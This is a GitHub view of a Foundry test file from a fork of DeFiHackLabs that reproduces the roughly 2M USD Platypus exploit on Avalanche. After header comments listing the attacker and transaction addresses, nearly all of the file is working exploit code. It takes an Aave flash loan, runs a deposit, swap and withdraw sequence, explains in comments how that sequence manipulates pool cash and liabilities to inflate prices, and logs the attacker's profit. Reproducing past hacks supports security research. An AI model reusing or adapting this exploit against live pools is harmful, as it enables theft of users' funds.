forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Platypus03_exp.sol
113 lines (94 loc) · 4.75 KB
/
Platypus03_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~2M USD$
// Attacker : https://snowtrace.io/address/0x0cd4fd0eecd2c5ad24de7f17ae35f9db6ac51ee7
// Attack Contract : https://snowtrace.io/address/0x44e251786a699518d6273ea1e027cec27b49d3bd
// Vulnerable Contract : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447
// Attack Tx : https://snowtrace.io/tx/0x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867 mutiple txs
// @Info
// Vulnerable Contract Code : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447#code
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712445197538468298
// Twitter Guy : https://twitter.com/peckshield/status/1712354198246035562
// Hacking God : https://www.google.com/
interface IPlatypusPool {
function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256);
function withdraw(
address token,
uint256 liquidity,
uint256 minimumAmount,
address to,
uint256 deadline
) external returns (uint256);
function swap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 minimumToAmount,
address to,
uint256 deadline
) external returns (uint256, uint256);
}
contract ContractTest is Test {
IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
IERC20 SAVAX = IERC20(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE);
IERC20 LP_AVAX = IERC20(0xC73eeD4494382093C6a7C284426A9a00f6C79939);
IERC20 LP_sAVAX = IERC20(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789);
IPlatypusPool PlatypusPool = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba);
IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
function setUp() public {
vm.createSelectFork("Avalanche", 36_346_397);
vm.label(address(WAVAX), "WAVAX");
vm.label(address(SAVAX), "SAVAX");
vm.label(address(LP_AVAX), "LP_AVAX");
vm.label(address(LP_sAVAX), "LP_sAVAX");
vm.label(address(aaveV3), "aaveV3");
vm.label(address(PlatypusPool), "PlatypusPool");
}
function testExploit() public {
WAVAX.approve(address(PlatypusPool), type(uint256).max);
SAVAX.approve(address(PlatypusPool), type(uint256).max);
address[] memory assets = new address[](2);
assets[0] = address(WAVAX);
assets[1] = address(SAVAX);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 1_054_969 * 1e18;
amounts[1] = 950_996 * 1e18;
uint256[] memory modes = new uint[](2);
modes[0] = 0;
modes[1] = 0;
aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
emit log_named_decimal_uint(
"Attacker WAVAX balance after exploit", WAVAX.balanceOf(address(this)), WAVAX.decimals()
);
emit log_named_decimal_uint(
"Attacker SAVAX balance after exploit", SAVAX.balanceOf(address(this)), SAVAX.decimals()
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external payable returns (bool) {
WAVAX.approve(address(aaveV3), amounts[0] + premiums[0]);
SAVAX.approve(address(aaveV3), amounts[1] + premiums[1]);
PlatypusPool.deposit(address(WAVAX), amounts[0], address(this), block.timestamp + 1000); //deposit WAVAX, mint LP_AVAX
PlatypusPool.deposit(address(SAVAX), amounts[1] / 3, address(this), block.timestamp + 1000); //deposit SAVAX, mint LP_sAVAX
PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // manipulate the cash and liabilities of the LP_AVAX pool
PlatypusPool.withdraw(address(WAVAX), 1_020_000 * 1e18, 0, address(this), block.timestamp + 1000); // inflate the WAVAX price in platypus pool
PlatypusPool.swap(address(WAVAX), address(SAVAX), 1_200_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap WAVAX to SAVAX, earn more SAVAX
PlatypusPool.withdraw(
address(WAVAX), LP_AVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000
); // withdraw LP_AVAX
PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap SAVAX to WAVAX
PlatypusPool.withdraw(
address(SAVAX), LP_sAVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000
); // withdraw LP_sAVAX
return true;
}
}